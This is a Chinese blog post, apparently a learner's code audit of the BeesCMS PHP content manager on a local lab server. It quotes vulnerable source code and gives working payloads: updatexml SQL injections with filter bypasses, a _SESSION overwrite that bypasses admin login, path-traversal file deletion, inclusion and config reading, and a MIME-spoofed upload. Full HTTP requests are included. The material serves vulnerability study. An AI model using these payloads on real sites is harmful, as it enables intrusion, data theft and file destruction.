beescms代码审计学习
2022-12-15 03:29:0 Author: xz.aliyun.com(查看原文) 阅读量:22 收藏

作者准备学习php代码审计和java代码审计,所以审计一些经典易上手的cms,并将过程记录下来。

官网下载源码并使用phpstudy安装搭建

先看一下cnvd有哪些已经交的漏洞

文件上传,注入,包含,越权,文件读取,代码执行,csrf,文件删除,还是挺多漏洞的。

配置文件在/data/confing.php

访问http://192.168.43.199/admin/login.php

用户名这里输入admin'会报错,如果挂xray被动扫描的话能扫出注入,手动测试也可以看出。

白盒审计一下

找到登录处的代码 /admin/login.php

if($action=='login'){
   global $_sys;
   include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
   global $submit,$user,$password,$_sys,$code;
   $submit=$_POST['submit'];
   $user=fl_html(fl_value($_POST['user']));
   $password=fl_html(fl_value($_POST['password']));
   $code=$_POST['code'];
   if(!isset($submit)){
      msg('请从登陆页面进入');
   }
   if(empty($user)||empty($password)){
      msg("密码或用户名不能为空");
   }
   if(!empty($_sys['safe_open'])){
      foreach($_sys['safe_open'] as $k=>$v){
      if($v=='3'){
         if($code!=$s_code){msg("验证码不正确!");}
      }
      }
      }
   check_login($user,$password);

}

user处使用fl_value和fl_html方法,跟进看一下有什么作用

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
    return htmlspecialchars($str);
}

fl_value是将我们传入的user值进行一个匹配,匹配到的话替换为空,这里只是匹配的话,我们可以使用双写绕过 seselectlect a and nd 这样的方式,或者大小写绕过

再看fl_html方法,是将我们输入的值进行html实体化编码,htmlspecialchars默认编码双引号,那我们使用单引号或者hex编码就好

来跟进check_login($user,$password) 这个方法

function check_login($user,$password){
    $rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");  
    $rel=empty($rel)?'':$rel[0];
    if(empty($rel)){
        msg('不存在该管理用户','login.php');
    }
    $password=md5($password);
    if($password!=$rel['admin_password']){
        msg("输入的密码不正确");
    }
    if($rel['is_disable']){
        msg('该账号已经被锁定,无法登陆');
    }

    $_SESSION['admin']=$rel['admin_name'];
    $_SESSION['admin_purview']=$rel['admin_purview'];
    $_SESSION['admin_id']=$rel['id'];
    $_SESSION['admin_time']=time();
    $_SESSION['login_in']=1;
    $_SESSION['login_time']=time();
    $ip=fl_value(get_ip());
    $ip=fl_html($ip);
    $_SESSION['admin_ip']=$ip;
    unset($rel);
    header("location:admin.php");
}

直接将获取来的user值拼接到sql语句中查询,跟进一下fetch_asc

function fetch_asc($sql){
        $result=$this->query($sql);
        $arr=array();
        while($rows=mysql_fetch_assoc($result)){
            $arr[]=$rows;
        }
        mysql_free_result($result);
        return $arr;
    }

进行sql查询操作,跟进query函数

function query($sql){
        if([email protected]_query($sql,$this->link)){
            err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
        }
        return $res;
    }

mysql进行查询,如果报错的话贴心的输出错误内容,这样就导致报错注入的产生,构造payload

admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#

当然也能写入文件getshell,网上有分析

首先看beescms后台登录的验证代码

admin/login

跟进is_login()

function is_login(){
    if($_SESSION['login_in']==1&&$_SESSION['admin']){
        if(time()-$_SESSION['login_time']>3600){
            login_out();
        }else{
            $_SESSION['login_time']=time();
            @session_regenerate_id();
        }
        return 1;
    }else{
        $_SESSION['admin']='';
        $_SESSION['admin_purview']='';
        $_SESSION['admin_id']='';
        $_SESSION['admin_time']='';
        $_SESSION['login_in']='';
        $_SESSION['login_time']='';
        $_SESSION['admin_ip']='';
        return 0;
    }

}

判断session中login_in是否为1并且有admin参数的传入,然后login_time>3600 的话,就算是登录了

正常情况是无法控制session的,但是分析发现很多文件都引入了includes/init.php

includes/init.php

session_start();
if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}
    $_COOKIE   = fl_value($_COOKIE);
    $_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

这里先来补充extract()的知识

PHP extract() 函数是从数组中把变量导入到当前的符号表中。 定义和用法 对于数组中的每个元素,键名用于变量名,键值用于变量值。

先设置了session_start(),创建会话。判断是否有输入来设置了cookie,fl_value进行一些简单的过滤,使用request设置cookie,$_GET = fl_value($_GET);来过滤get请求的内容,但是没有过滤post请求,后面还都通过@extract()来引入变量,进行变量的覆盖操作,那么这样就可以post方法传递session。二者配合构造session来绕过登录限制

访问http://192.168.43.199/index.php

post传递值

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888

之后访问admin/admin.php

这里发现login_time需要设置超级大的时间,要不然会显示成功退出,而且session这样的键值对需要写成_SESSION[login_in]=1 如果SESSION['login_in']=1是不行的,单引号不能加

审计sql注入之前我们先看一下这句话

addslashes 在单引号(')、双引号(")、反斜线(\)与 NUL前加上反斜线 可用于防止SQL注入

mysqli::real_escape_string mysqli::escape_string mysqli_real_escape_string mysql_real_escape_string SQLite3::escapeString

以上函数会在\x00(NULL), \n, \r, , ', " 和 \x1a (CTRL-Z)前加上反斜线\ 并考虑了当前数据库连接字符集进行处理

注意: 经过以上函数处理后的字符串不可直接用于sql查询拼接 需要使用引号包裹后拼接到sql语句中 否则仍可导致sql注入

例如 上文中的例子 攻击者输入并没有使用到引号反斜线 逗号可使用其他方法绕过 仍可构成SQL注入

就是说过滤时候要使用引号包裹,要不然比如直接报错语句,也不需要用到引号

我们来看一下全局的过滤

if (!get_magic_quotes_gpc())
{
    if (isset($_REQUEST))
    {
        $_REQUEST  = addsl($_REQUEST);
    }
    $_COOKIE   = addsl($_COOKIE);
   $_POST = addsl($_POST);
   $_GET = addsl($_GET);
}

接收参数,我们跟进addsl()

function addsl($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {   
        return is_array($value) ? array_map('addsl', $value) : addslashes($value);
    }
}

对于接收的参数使用addslashes()来给特殊符号加'\',但是没有使用引号包裹,这很有问题。

来看admin_ajax.php

elseif($action=='order'){
    $table=$_REQUEST['table'];
    $field = $_REQUEST['field'];
    $id = intval($_REQUEST['id']);
    $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
    $GLOBALS['mysql']->query($sql);
    //更新缓存
        if($table=="lang"){ 
            $sql="select*from ".DB_PRE."{$table} order by {$field} desc";
            $rel=$GLOBALS['mysql']->fetch_asc($sql);
        $cache_file=DATA_PATH.'cache/lang_cache.php';
        $str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
        }elseif($table=="channel"){
            $sql="select*from ".DB_PRE."{$table} order by {$field} desc";
            $rel=$GLOBALS['mysql']->fetch_asc($sql);
            $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
            $str="<?php\n\$channel=".var_export($rel,true).";\n?>";
        }
        creat_inc($cache_file,$str);

}

这里sql语句执行update操作,但是未对field这个传入的变量进行校验,除了addsl()在特殊符号前加'\'

那么我们可以构造

/admin/admin_ajax.php?action=order&table=1&field=aaa=111 or updatexml(1,concat(0x23,database()),1)--+

可以看到报错语句,那继续修改一下table,既然table选admin表,在admin表找一个不重要的字段

/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+

好了

输入

http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+

elseif($action=='del_pic'){
    $file=CMS_PATH.'upload/'.$value;
    @unlink($file);
    die("图片成功删除");
}

看代码的时候发现了这段,上面的value值通过$value=$_REQUEST['value']; 来传入,那我一想,value可控,通过目录穿越,可以删除任意文件

构造payload

/admin/admin_ajax.php?action=del_pic&value=../1.txt

成功删除根目录下自己创建的1.txt文件

elseif($action=='del'){
   $id=$_GET['id'];
   if(empty($id)){die("<script type=\"text/javascript\">alert('参数发生错误,请重新操作');history.go(-1);</script>");}
   $sql="delete from ".DB_PRE."book where id=".$id;
   $mysql->query($sql);
   msg('删除完成','?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

id传值未作任何校验,直接构造

/admin/admin_book.php?action=del&id=11 or updatexml(1,concat(0x23,database()),1)--+

下面的这个批量删除同样有问题

elseif($action=='del_all'){
   $id=$_POST['all'];
   if(empty($id)){msg('请选择需要删除的内容','?lang='.$lang);}
   foreach($id as $k=>$v){
      $sql="delete from ".DB_PRE."book where id=".$v;
      $mysql->query($sql);
   }
   msg("所选内容已经删除",'?lang='.$lang.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
}

echo PW;
?>

没能成功构造,所以只能找功能点抓一下包了

POST /admin/admin_book.php?action=del_all&lang=cn HTTP/1.1
Host: 192.168.43.199
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_book.php?lang=cn&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=1mtd8re62d8ppi72aa3bf5b144
Connection: close

all%5B%5D=0&all%5B%5D=1&id=&lang=cn

抓到的包如下,我们修改all%5B%5D=1 or updatexml(1,concat(0x23,database()),1)--+

不抓包的话我根本不知道还有个lang参数

if($step==3){
        if(file_exists(DATA_PATH.'cache_channel/news_arr.php')){include(DATA_PATH.'cache_channel/news_arr.php');}
        $news_id=empty($news)?'':array_shift($news);
        $str="<?php\n\$news=".var_export($news,true).";\n?>";
        cache_write(DATA_PATH.'cache_channel/news_arr.php',$str);
        if(!empty($news_id)){
            $addtime_rel=explode('-',$news_id['addtime']);
            $fl=CMS_PATH.'htm/'.$news_id['cate_fold_name'].'/'.$addtime_rel[0].'/'.$addtime_rel[1].$addtime_rel[2].'/'.$news_id['id'].'.html';
            if(file_exists($fl)){@unlink($fl);}
            if(!empty($news_id['id'])){
            $GLOBALS['mysql']->query("delete from ".DB_PRE."maintb where id=".$news_id['id']);
            }
            if(!empty($news_id['id'])&&!empty($news_id['table'])){
                $GLOBALS['mysql']->query("delete from ".DB_PRE.$news_id['table']." where id=".$news_id['id']);
            }
            show_htm("已经删除栏目【{$news_id['cate_name']}】下的文章【{$news_id['title']}】",'?action=del_channel&step=3&id='.$id.'&cate_id='.$cate_id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
        }else{
            $GLOBALS['mysql']->query("delete from ".DB_PRE."category where cate_parent=".$cate_id);
            $GLOBALS['mysql']->query("delete from ".DB_PRE."category where id=".$cate_id);
            $GLOBALS['cache']->cache_category_all();
            show_htm("已经删除栏目($cate_id)",'?action=del_channel&step=2&id='.$id.'&tb='.$tb.'&nav='.$admin_nav.'&admin_p_nav='.$admin_p_nav);
        }

    }


}

elseif($action=='del_channel'){
    if(!check_purview('pannel_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
    $step = $_GET['step'];
    $id = intval($_GET['id']);
    $tb = $_GET['tb'];
    $cate_id = $_GET['cate_id'];
    //初始化
    if($step==1){
    if(!isset($id)||empty($id)){msg('<span style="color:red">参数传递错误,请重新操作</span>');}
    if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php")){
        include(DATA_PATH."cache_channel/cache_channel_all.php");
    }
    if(empty($channel)){
        msg('<span style="color:red">请先更新模型缓存</span>','admin_channel.php');
    }
    foreach($channel as $key=>$value){
        if($value['id']==$id){
            $table=$value['channel_table'];
        }
    }

上面传入$cate_id = $_GET['cate_id']; 这个cate_id,然后下面query("delete from ".DB_PRE."category where cate_parent=".$cate_id)

我们直接构造

/admin/admin_channel.php?action=del_channel&step=3

发现报错

拼接我们可控的cate_id

/admin/admin_channel.php?action=del_channel&step=3&cate_id=111 or updatexml(1,concat(0x23,database()),1)--+

elseif($action=='child'){
    if(!check_purview('cate_create')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
    $channel_id=intval($_GET['channel_id']);
    if(empty($channel_id)){err('<span style="color:red">参数传递错误,请重新操作</span>');}

    if(!empty($channel)){
        foreach($channel as $k=>$v){
            if($v['id']==$channel_id){
                $mark=$v['channel_mark'];
            }
        }
    }
    $sql="select cate_name from ".DB_PRE."category where id=".$parent;
    $rel=$GLOBALS['mysql']->fetch_asc($sql);
    include('template/admin_category_child.php');
}

观察parent从哪里传入

直接最上面全局传入

构造

http://192.168.43.199/admin/admin_catagory.php?action=child&channel_id=111&parent=1111%20or%20updatexml(1,concat(0x23,database()),1)--+

全局搜索move_uploaded_file()

function up_img($file,$size,$type,$thumb=0,$thumb_width='',$thumb_height='',$logo=1,$pic_alt=''){
        if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}
        if(is_uploaded_file($file['tmp_name'])){
        if($file['size']>$size){
            msg('图片超过'.$size.'大小');
        }
        $pic_name=pathinfo($file['name']);//图片信息

        $file_type=$file['type'];
        if(!in_array(strtolower($file_type),$type)){
            msg('上传图片格式不正确');
        }
        $path_name="upload/img/";
        $path=CMS_PATH.$path_name;
        if(!file_exists($path)){
            @mkdir($path);
        }

发现上传函数up_img只对文件类型做了校验,之后就进行上传

if(!move_uploaded_file($file['tmp_name'],$file_name)){
   msg('图片上传失败','',0);
}

那么file_type这个字段是MIME类型,我们抓包可以修改,所有此处文件上传存在问题,看一下谁调用了这个方法

admin/upload.php处的上传,限定mime类型为这几种

$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

这里只需要上传时修改mime类型就行

成功上传。

seay审计

elseif($action=='save_backup')
{
    if(!check_purview('field_del')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
    $channel_id = intval($_POST['channel_id']);
    if(empty($channel_id))
    {
        msg('参数发生错误!请重新操作!');
    }
    //判断是否存在文件
    $file_name = $_POST['file_name'];
    if(empty($file_name))
    {
        msg('文件名不能为空!');
    }
    $file_path = DATA_PATH.'backup/'.$file_name.'.php';
    if(!file_exists($file_path))
    {
        msg('不存在导入文件,请检查data/backup目录下是否存在文件');
    }   
    include($file_path);
    //获取模型表
    if(file_exists(DATA_PATH."cache_channel/cache_channel_all.php"))
    {
        include(DATA_PATH."cache_channel/cache_channel_all.php");
    }
    foreach($channel as $key=>$value){
        if($value['id']==$channel_id){
            $table=$value['channel_table'];
        }
    }

看了一下就是post传递文件名,如果在/data/backup下面有这个文件,就进行包含,测试发现可以目录穿越,那么就可以包含任意php文件。

我并没有直接构造,而是查找漏洞的触发点在哪

发现在admin_channel.php-导入字段这里就是backup,需要我们输入路径,然后我在上级目录写了一个phpinfo.php文件,通过../phpinfo这样的方式来包含

成功显示phpinfo页面

数据包

POST /admin/admin_channel.php?nav=main&admin_p_nav=main_info HTTP/1.1
Host: 192.168.43.199
Content-Length: 451
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.43.199
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNWR0jlaZX9FTIQOO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_channel.php?action=backup&id=2&nav=main&admin_p_nav=main_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=gjb8ujuvq0k4hi0842cs8bi9u7
Connection: close

------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="file_name"

../phpinfo
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="channel_id"

2
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="action"

save_backup
------WebKitFormBoundaryNWR0jlaZX9FTIQOO
Content-Disposition: form-data; name="submit"

确定
------WebKitFormBoundaryNWR0jlaZX9FTIQOO--

elseif($action=='xg'){
    if(!check_purview('tpl_manage')){msg('<span style="color:red">操作失败,你的权限不足!</span>');}
    $file = $_GET['file'];
    $path=CMS_PATH.$file;
    if([email protected]($path,'r+')){err('<span style="color:red">模板打开失败,请确定【'.$file.'】模板是否存在</span>');}
    flock($fp,LOCK_EX);
    [email protected]($fp,filesize($path));
    $str = str_replace("&","&",$str);
    $str= str_replace(array("'",'"',"<",">"),array("'",""","<",">"),$str);
    flock($fp,LOCK_UN);
    fclose($fp);
    include('template/admin_template_xg.php');
}

发现模板修改界面的路径是接收file参数,如果存在的话就读取。来找一下这个功能点

点击修改

发现找对地方了,在修改处抓包

将file的值构造成我们想要读取的文件

GET /admin/admin_template.php?action=xg&nav=main&admin_p_nav=main_info&lang=cn&file=template/default/%2e%2e/%2e%2e/data/confing.php HTTP/1.1
Host: 192.168.43.199
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.43.199/admin/admin_template.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_82116c626a8d504a5c0675073362ef6f=1665985067,1665986438,1666232452,1666239551; remember-me=YWRtaW46MTY3MjA0ODk0MzM1NDpkNWRmYWY2Y2RhZDBjOTBkZWQxZjVkOTA0YjA0M2U2MA; PHPSESSID=v00796a3a27mt5ov29e5ef3sd7
Connection: close

成功读取数据库配置文件

参考网上的文章和自己分析代码审计出了目前的这些漏洞,其它漏洞还没审计出来,如果有更多好的思路欢迎师傅们来讨论交流


文章来源: https://xz.aliyun.com/t/11955
如有侵权请联系:admin#unsafe.sh